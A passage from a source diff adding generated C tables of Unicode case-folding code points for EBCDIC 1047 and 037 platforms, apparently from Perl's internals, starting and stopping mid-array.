+	0x125,
+	0,
+	0x127,
+	0,
+	0x129,
+	0,
+	0x12B,
+	0,
+	0x12D,
+	0,
+	0x12F,
+	0,
+	0x133,
+	0,
+	0x135,
+	0,
+	0x137,
+	0,
+	0x13A,
+	0,
+	0x13C,
+	0,
+	0x13E,
+	0,
+	0x140,
+	0,
+	0x142,
+	0,
+	0x144,
+	0,
+	0x146,
+	0,
+	0x148,
+	0,
+	0x14B,
+	0,
+	0x14D,
+	0,
+	0x14F,
+	0,
+	0x151,
+	0,
+	0x153,
+	0,
+	0x155,
+	0,
+	0x157,
+	0,
+	0x159,
+	0,
+	0x15B,
+	0,
+	0x15D,
+	0,
+	0x15F,
+	0,
+	0x161,
+	0,
+	0x163,
+	0,
+	0x165,
+	0,
+	0x167,
+	0,
+	0x169,
+	0,
+	0x16B,
+	0,
+	0x16D,
+	0,
+	0x16F,
+	0,
+	0x171,
+	0,
+	0x173,
+	0,
+	0x175,
+	0,
+	0x177,
+	0,
+	0xDF,
+	0x17A,
+	0,
+	0x17C,
+	0,
+	0x17E,
+	0,
+	0xA2,
+	0,
+	0x253,
+	0x183,
+	0,
+	0x185,
+	0,
+	0x254,
+	0x188,
+	0,
+	0x256,
+	0x18C,
+	0,
+	0x1DD,
+	0x259,
+	0x25B,
+	0x192,
+	0,
+	0x260,
+	0x263,
+	0,
+	0x269,
+	0x268,
+	0x199,
+	0,
+	0x26F,
+	0x272,
+	0,
+	0x275,
+	0x1A1,
+	0,
+	0x1A3,
+	0,
+	0x1A5,
+	0,
+	0x280,
+	0x1A8,
+	0,
+	0x283,
+	0,
+	0x1AD,
+	0,
+	0x288,
+	0x1B0,
+	0,
+	0x28A,
+	0x1B4,
+	0,
+	0x1B6,
+	0,
+	0x292,
+	0x1B9,
+	0,
+	0x1BD,
+	0,
+	0x1C6,
+	0x1C6,
+	0,
+	0x1C9,
+	0x1C9,
+	0,
+	0x1CC,
+	0x1CC,
+	0,
+	0x1CE,
+	0,
+	0x1D0,
+	0,
+	0x1D2,
+	0,
+	0x1D4,
+	0,
+	0x1D6,
+	0,
+	0x1D8,
+	0,
+	0x1DA,
+	0,
+	0x1DC,
+	0,
+	0x1DF,
+	0,
+	0x1E1,
+	0,
+	0x1E3,
+	0,
+	0x1E5,
+	0,
+	0x1E7,
+	0,
+	0x1E9,
+	0,
+	0x1EB,
+	0,
+	0x1ED,
+	0,
+	0x1EF,
+	0,
+	0x1F3,
+	0x1F3,
+	0,
+	0x1F5,
+	0,
+	0x195,
+	0x1BF,
+	0x1F9,
+	0,
+	0x1FB,
+	0,
+	0x1FD,
+	0,
+	0x1FF,
+	0,
+	0x201,
+	0,
+	0x203,
+	0,
+	0x205,
+	0,
+	0x207,
+	0,
+	0x209,
+	0,
+	0x20B,
+	0,
+	0x20D,
+	0,
+	0x20F,
+	0,
+	0x211,
+	0,
+	0x213,
+	0,
+	0x215,
+	0,
+	0x217,
+	0,
+	0x219,
+	0,
+	0x21B,
+	0,
+	0x21D,
+	0,
+	0x21F,
+	0,
+	0x19E,
+	0,
+	0x223,
+	0,
+	0x225,
+	0,
+	0x227,
+	0,
+	0x229,
+	0,
+	0x22B,
+	0,
+	0x22D,
+	0,
+	0x22F,
+	0,
+	0x231,
+	0,
+	0x233,
+	0,
+	0x2C65,
+	0x23C,
+	0,
+	0x19A,
+	0x2C66,
+	0,
+	0x242,
+	0,
+	0x180,
+	0x289,
+	0x28C,
+	0x247,
+	0,
+	0x249,
+	0,
+	0x24B,
+	0,
+	0x24D,
+	0,
+	0x24F,
+	0,
+	0x3B9,
+	0,
+	0x371,
+	0,
+	0x373,
+	0,
+	0x377,
+	0,
+	0x3F3,
+	0,
+	0x3AC,
+	0,
+	0x3AD,
+	0,
+	0x3CC,
+	0,
+	0x3CD,
+	0,
+	0x3B1,
+	0,
+	0x3C3,
+	0,
+	0x3C3,
+	0,
+	0x3D7,
+	0x3B2,
+	0x3B8,
+	0,
+	0x3C6,
+	0x3C0,
+	0,
+	0x3D9,
+	0,
+	0x3DB,
+	0,
+	0x3DD,
+	0,
+	0x3DF,
+	0,
+	0x3E1,
+	0,
+	0x3E3,
+	0,
+	0x3E5,
+	0,
+	0x3E7,
+	0,
+	0x3E9,
+	0,
+	0x3EB,
+	0,
+	0x3ED,
+	0,
+	0x3EF,
+	0,
+	0x3BA,
+	0x3C1,
+	0,
+	0x3B8,
+	0x3B5,
+	0,
+	0x3F8,
+	0,
+	0x3F2,
+	0x3FB,
+	0,
+	0x37B,
+	0x450,
+	0x430,
+	0,
+	0x461,
+	0,
+	0x463,
+	0,
+	0x465,
+	0,
+	0x467,
+	0,
+	0x469,
+	0,
+	0x46B,
+	0,
+	0x46D,
+	0,
+	0x46F,
+	0,
+	0x471,
+	0,
+	0x473,
+	0,
+	0x475,
+	0,
+	0x477,
+	0,
+	0x479,
+	0,
+	0x47B,
+	0,
+	0x47D,
+	0,
+	0x47F,
+	0,
+	0x481,
+	0,
+	0x48B,
+	0,
+	0x48D,
+	0,
+	0x48F,
+	0,
+	0x491,
+	0,
+	0x493,
+	0,
+	0x495,
+	0,
+	0x497,
+	0,
+	0x499,
+	0,
+	0x49B,
+	0,
+	0x49D,
+	0,
+	0x49F,
+	0,
+	0x4A1,
+	0,
+	0x4A3,
+	0,
+	0x4A5,
+	0,
+	0x4A7,
+	0,
+	0x4A9,
+	0,
+	0x4AB,
+	0,
+	0x4AD,
+	0,
+	0x4AF,
+	0,
+	0x4B1,
+	0,
+	0x4B3,
+	0,
+	0x4B5,
+	0,
+	0x4B7,
+	0,
+	0x4B9,
+	0,
+	0x4BB,
+	0,
+	0x4BD,
+	0,
+	0x4BF,
+	0,
+	0x4CF,
+	0x4C2,
+	0,
+	0x4C4,
+	0,
+	0x4C6,
+	0,
+	0x4C8,
+	0,
+	0x4CA,
+	0,
+	0x4CC,
+	0,
+	0x4CE,
+	0,
+	0x4D1,
+	0,
+	0x4D3,
+	0,
+	0x4D5,
+	0,
+	0x4D7,
+	0,
+	0x4D9,
+	0,
+	0x4DB,
+	0,
+	0x4DD,
+	0,
+	0x4DF,
+	0,
+	0x4E1,
+	0,
+	0x4E3,
+	0,
+	0x4E5,
+	0,
+	0x4E7,
+	0,
+	0x4E9,
+	0,
+	0x4EB,
+	0,
+	0x4ED,
+	0,
+	0x4EF,
+	0,
+	0x4F1,
+	0,
+	0x4F3,
+	0,
+	0x4F5,
+	0,
+	0x4F7,
+	0,
+	0x4F9,
+	0,
+	0x4FB,
+	0,
+	0x4FD,
+	0,
+	0x4FF,
+	0,
+	0x501,
+	0,
+	0x503,
+	0,
+	0x505,
+	0,
+	0x507,
+	0,
+	0x509,
+	0,
+	0x50B,
+	0,
+	0x50D,
+	0,
+	0x50F,
+	0,
+	0x511,
+	0,
+	0x513,
+	0,
+	0x515,
+	0,
+	0x517,
+	0,
+	0x519,
+	0,
+	0x51B,
+	0,
+	0x51D,
+	0,
+	0x51F,
+	0,
+	0x521,
+	0,
+	0x523,
+	0,
+	0x525,
+	0,
+	0x527,
+	0,
+	0x529,
+	0,
+	0x52B,
+	0,
+	0x52D,
+	0,
+	0x52F,
+	0,
+	0x561,
+	0,
+	0x2D00,
+	0,
+	0x2D27,
+	0,
+	0x2D2D,
+	0,
+	0x13F0,
+	0,
+	0x432,
+	0x434,
+	0x43E,
+	0x441,
+	0x442,
+	0x44A,
+	0x463,
+	0xA64B,
+	0,
+	0x1E01,
+	0,
+	0x1E03,
+	0,
+	0x1E05,
+	0,
+	0x1E07,
+	0,
+	0x1E09,
+	0,
+	0x1E0B,
+	0,
+	0x1E0D,
+	0,
+	0x1E0F,
+	0,
+	0x1E11,
+	0,
+	0x1E13,
+	0,
+	0x1E15,
+	0,
+	0x1E17,
+	0,
+	0x1E19,
+	0,
+	0x1E1B,
+	0,
+	0x1E1D,
+	0,
+	0x1E1F,
+	0,
+	0x1E21,
+	0,
+	0x1E23,
+	0,
+	0x1E25,
+	0,
+	0x1E27,
+	0,
+	0x1E29,
+	0,
+	0x1E2B,
+	0,
+	0x1E2D,
+	0,
+	0x1E2F,
+	0,
+	0x1E31,
+	0,
+	0x1E33,
+	0,
+	0x1E35,
+	0,
+	0x1E37,
+	0,
+	0x1E39,
+	0,
+	0x1E3B,
+	0,
+	0x1E3D,
+	0,
+	0x1E3F,
+	0,
+	0x1E41,
+	0,
+	0x1E43,
+	0,
+	0x1E45,
+	0,
+	0x1E47,
+	0,
+	0x1E49,
+	0,
+	0x1E4B,
+	0,
+	0x1E4D,
+	0,
+	0x1E4F,
+	0,
+	0x1E51,
+	0,
+	0x1E53,
+	0,
+	0x1E55,
+	0,
+	0x1E57,
+	0,
+	0x1E59,
+	0,
+	0x1E5B,
+	0,
+	0x1E5D,
+	0,
+	0x1E5F,
+	0,
+	0x1E61,
+	0,
+	0x1E63,
+	0,
+	0x1E65,
+	0,
+	0x1E67,
+	0,
+	0x1E69,
+	0,
+	0x1E6B,
+	0,
+	0x1E6D,
+	0,
+	0x1E6F,
+	0,
+	0x1E71,
+	0,
+	0x1E73,
+	0,
+	0x1E75,
+	0,
+	0x1E77,
+	0,
+	0x1E79,
+	0,
+	0x1E7B,
+	0,
+	0x1E7D,
+	0,
+	0x1E7F,
+	0,
+	0x1E81,
+	0,
+	0x1E83,
+	0,
+	0x1E85,
+	0,
+	0x1E87,
+	0,
+	0x1E89,
+	0,
+	0x1E8B,
+	0,
+	0x1E8D,
+	0,
+	0x1E8F,
+	0,
+	0x1E91,
+	0,
+	0x1E93,
+	0,
+	0x1E95,
+	0,
+	0x1E61,
+	0,
+	0x59,
+	0,
+	0x1EA1,
+	0,
+	0x1EA3,
+	0,
+	0x1EA5,
+	0,
+	0x1EA7,
+	0,
+	0x1EA9,
+	0,
+	0x1EAB,
+	0,
+	0x1EAD,
+	0,
+	0x1EAF,
+	0,
+	0x1EB1,
+	0,
+	0x1EB3,
+	0,
+	0x1EB5,
+	0,
+	0x1EB7,
+	0,
+	0x1EB9,
+	0,
+	0x1EBB,
+	0,
+	0x1EBD,
+	0,
+	0x1EBF,
+	0,
+	0x1EC1,
+	0,
+	0x1EC3,
+	0,
+	0x1EC5,
+	0,
+	0x1EC7,
+	0,
+	0x1EC9,
+	0,
+	0x1ECB,
+	0,
+	0x1ECD,
+	0,
+	0x1ECF,
+	0,
+	0x1ED1,
+	0,
+	0x1ED3,
+	0,
+	0x1ED5,
+	0,
+	0x1ED7,
+	0,
+	0x1ED9,
+	0,
+	0x1EDB,
+	0,
+	0x1EDD,
+	0,
+	0x1EDF,
+	0,
+	0x1EE1,
+	0,
+	0x1EE3,
+	0,
+	0x1EE5,
+	0,
+	0x1EE7,
+	0,
+	0x1EE9,
+	0,
+	0x1EEB,
+	0,
+	0x1EED,
+	0,
+	0x1EEF,
+	0,
+	0x1EF1,
+	0,
+	0x1EF3,
+	0,
+	0x1EF5,
+	0,
+	0x1EF7,
+	0,
+	0x1EF9,
+	0,
+	0x1EFB,
+	0,
+	0x1EFD,
+	0,
+	0x1EFF,
+	0,
+	0x1F00,
+	0,
+	0x1F10,
+	0,
+	0x1F20,
+	0,
+	0x1F30,
+	0,
+	0x1F40,
+	0,
+	0x1F51,
+	0,
+	0x1F53,
+	0,
+	0x1F55,
+	0,
+	0x1F57,
+	0,
+	0x1F60,
+	0,
+	0x1F80,
+	0,
+	0x1F90,
+	0,
+	0x1FA0,
+	0,
+	0x1FB0,
+	0x1F70,
+	0x1FB3,
+	0,
+	0x3B9,
+	0,
+	0x1F72,
+	0x1FC3,
+	0,
+	0x1FD0,
+	0x1F76,
+	0,
+	0x1FE0,
+	0x1F7A,
+	0x1FE5,
+	0,
+	0x1F78,
+	0x1F7C,
+	0x1FF3,
+	0,
+	0x3C9,
+	0,
+	0x92,
+	0x47,
+	0,
+	0x214E,
+	0,
+	0x2170,
+	0,
+	0x2184,
+	0,
+	0x24D0,
+	0,
+	0x2C30,
+	0,
+	0x2C61,
+	0,
+	0x26B,
+	0x1D7D,
+	0x27D,
+	0,
+	0x2C68,
+	0,
+	0x2C6A,
+	0,
+	0x2C6C,
+	0,
+	0x251,
+	0x271,
+	0x250,
+	0x252,
+	0,
+	0x2C73,
+	0,
+	0x2C76,
+	0,
+	0x23F,
+	0x2C81,
+	0,
+	0x2C83,
+	0,
+	0x2C85,
+	0,
+	0x2C87,
+	0,
+	0x2C89,
+	0,
+	0x2C8B,
+	0,
+	0x2C8D,
+	0,
+	0x2C8F,
+	0,
+	0x2C91,
+	0,
+	0x2C93,
+	0,
+	0x2C95,
+	0,
+	0x2C97,
+	0,
+	0x2C99,
+	0,
+	0x2C9B,
+	0,
+	0x2C9D,
+	0,
+	0x2C9F,
+	0,
+	0x2CA1,
+	0,
+	0x2CA3,
+	0,
+	0x2CA5,
+	0,
+	0x2CA7,
+	0,
+	0x2CA9,
+	0,
+	0x2CAB,
+	0,
+	0x2CAD,
+	0,
+	0x2CAF,
+	0,
+	0x2CB1,
+	0,
+	0x2CB3,
+	0,
+	0x2CB5,
+	0,
+	0x2CB7,
+	0,
+	0x2CB9,
+	0,
+	0x2CBB,
+	0,
+	0x2CBD,
+	0,
+	0x2CBF,
+	0,
+	0x2CC1,
+	0,
+	0x2CC3,
+	0,
+	0x2CC5,
+	0,
+	0x2CC7,
+	0,
+	0x2CC9,
+	0,
+	0x2CCB,
+	0,
+	0x2CCD,
+	0,
+	0x2CCF,
+	0,
+	0x2CD1,
+	0,
+	0x2CD3,
+	0,
+	0x2CD5,
+	0,
+	0x2CD7,
+	0,
+	0x2CD9,
+	0,
+	0x2CDB,
+	0,
+	0x2CDD,
+	0,
+	0x2CDF,
+	0,
+	0x2CE1,
+	0,
+	0x2CE3,
+	0,
+	0x2CEC,
+	0,
+	0x2CEE,
+	0,
+	0x2CF3,
+	0,
+	0xA641,
+	0,
+	0xA643,
+	0,
+	0xA645,
+	0,
+	0xA647,
+	0,
+	0xA649,
+	0,
+	0xA64B,
+	0,
+	0xA64D,
+	0,
+	0xA64F,
+	0,
+	0xA651,
+	0,
+	0xA653,
+	0,
+	0xA655,
+	0,
+	0xA657,
+	0,
+	0xA659,
+	0,
+	0xA65B,
+	0,
+	0xA65D,
+	0,
+	0xA65F,
+	0,
+	0xA661,
+	0,
+	0xA663,
+	0,
+	0xA665,
+	0,
+	0xA667,
+	0,
+	0xA669,
+	0,
+	0xA66B,
+	0,
+	0xA66D,
+	0,
+	0xA681,
+	0,
+	0xA683,
+	0,
+	0xA685,
+	0,
+	0xA687,
+	0,
+	0xA689,
+	0,
+	0xA68B,
+	0,
+	0xA68D,
+	0,
+	0xA68F,
+	0,
+	0xA691,
+	0,
+	0xA693,
+	0,
+	0xA695,
+	0,
+	0xA697,
+	0,
+	0xA699,
+	0,
+	0xA69B,
+	0,
+	0xA723,
+	0,
+	0xA725,
+	0,
+	0xA727,
+	0,
+	0xA729,
+	0,
+	0xA72B,
+	0,
+	0xA72D,
+	0,
+	0xA72F,
+	0,
+	0xA733,
+	0,
+	0xA735,
+	0,
+	0xA737,
+	0,
+	0xA739,
+	0,
+	0xA73B,
+	0,
+	0xA73D,
+	0,
+	0xA73F,
+	0,
+	0xA741,
+	0,
+	0xA743,
+	0,
+	0xA745,
+	0,
+	0xA747,
+	0,
+	0xA749,
+	0,
+	0xA74B,
+	0,
+	0xA74D,
+	0,
+	0xA74F,
+	0,
+	0xA751,
+	0,
+	0xA753,
+	0,
+	0xA755,
+	0,
+	0xA757,
+	0,
+	0xA759,
+	0,
+	0xA75B,
+	0,
+	0xA75D,
+	0,
+	0xA75F,
+	0,
+	0xA761,
+	0,
+	0xA763,
+	0,
+	0xA765,
+	0,
+	0xA767,
+	0,
+	0xA769,
+	0,
+	0xA76B,
+	0,
+	0xA76D,
+	0,
+	0xA76F,
+	0,
+	0xA77A,
+	0,
+	0xA77C,
+	0,
+	0x1D79,
+	0xA77F,
+	0,
+	0xA781,
+	0,
+	0xA783,
+	0,
+	0xA785,
+	0,
+	0xA787,
+	0,
+	0xA78C,
+	0,
+	0x265,
+	0,
+	0xA791,
+	0,
+	0xA793,
+	0,
+	0xA797,
+	0,
+	0xA799,
+	0,
+	0xA79B,
+	0,
+	0xA79D,
+	0,
+	0xA79F,
+	0,
+	0xA7A1,
+	0,
+	0xA7A3,
+	0,
+	0xA7A5,
+	0,
+	0xA7A7,
+	0,
+	0xA7A9,
+	0,
+	0x266,
+	0x25C,
+	0x261,
+	0x26C,
+	0x26A,
+	0,
+	0x29E,
+	0x287,
+	0x29D,
+	0xAB53,
+	0xA7B5,
+	0,
+	0xA7B7,
+	0,
+	0x13A0,
+	0,
+	0xFF41,
+	0,
+	0x10428,
+	0,
+	0x104D8,
+	0,
+	0x10CC0,
+	0,
+	0x118C0,
+	0,
+	0x1E922,
+	0
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV Simple_Case_Folding_invlist[] = { /* for EBCDIC 037 */
+	1280,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x80,
+	0x81,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xAC,
+	0xAF,
+	0xC1,
+	0xCA,
+	0xD1,
+	0xDA,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x179,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x17F,
+	0x180,
+	0x181,
+	0x182,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x187,
+	0x188,
+	0x189,
+	0x18B,
+	0x18C,
+	0x18E,
+	0x18F,
+	0x190,
+	0x191,
+	0x192,
+	0x193,
+	0x194,
+	0x195,
+	0x196,
+	0x197,
+	0x198,
+	0x199,
+	0x19C,
+	0x19D,
+	0x19E,
+	0x19F,
+	0x1A0,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A7,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1AF,
+	0x1B0,
+	0x1B1,
+	0x1B3,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B8,
+	0x1B9,
+	0x1BC,
+	0x1BD,
+	0x1C4,
+	0x1C5,
+	0x1C6,
+	0x1C7,
+	0x1C8,
+	0x1C9,
+	0x1CA,
+	0x1CB,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F2,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F7,
+	0x1F8,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23B,
+	0x23C,
+	0x23D,
+	0x23E,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x244,
+	0x245,
+	0x246,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x345,
+	0x346,
+	0x370,
+	0x371,
+	0x372,
+	0x373,
+	0x376,
+	0x377,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x390,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AC,
+	0x3C2,
+	0x3C3,
+	0x3CF,
+	0x3D0,
+	0x3D1,
+	0x3D2,
+	0x3D5,
+	0x3D6,
+	0x3D7,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F0,
+	0x3F1,
+	0x3F2,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F7,
+	0x3F8,
+	0x3F9,
+	0x3FA,
+	0x3FB,
+	0x3FD,
+	0x400,
+	0x410,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x48A,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C1,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x531,
+	0x557,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C81,
+	0x1C82,
+	0x1C83,
+	0x1C85,
+	0x1C86,
+	0x1C87,
+	0x1C88,
+	0x1C89,
+	0x1E00,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
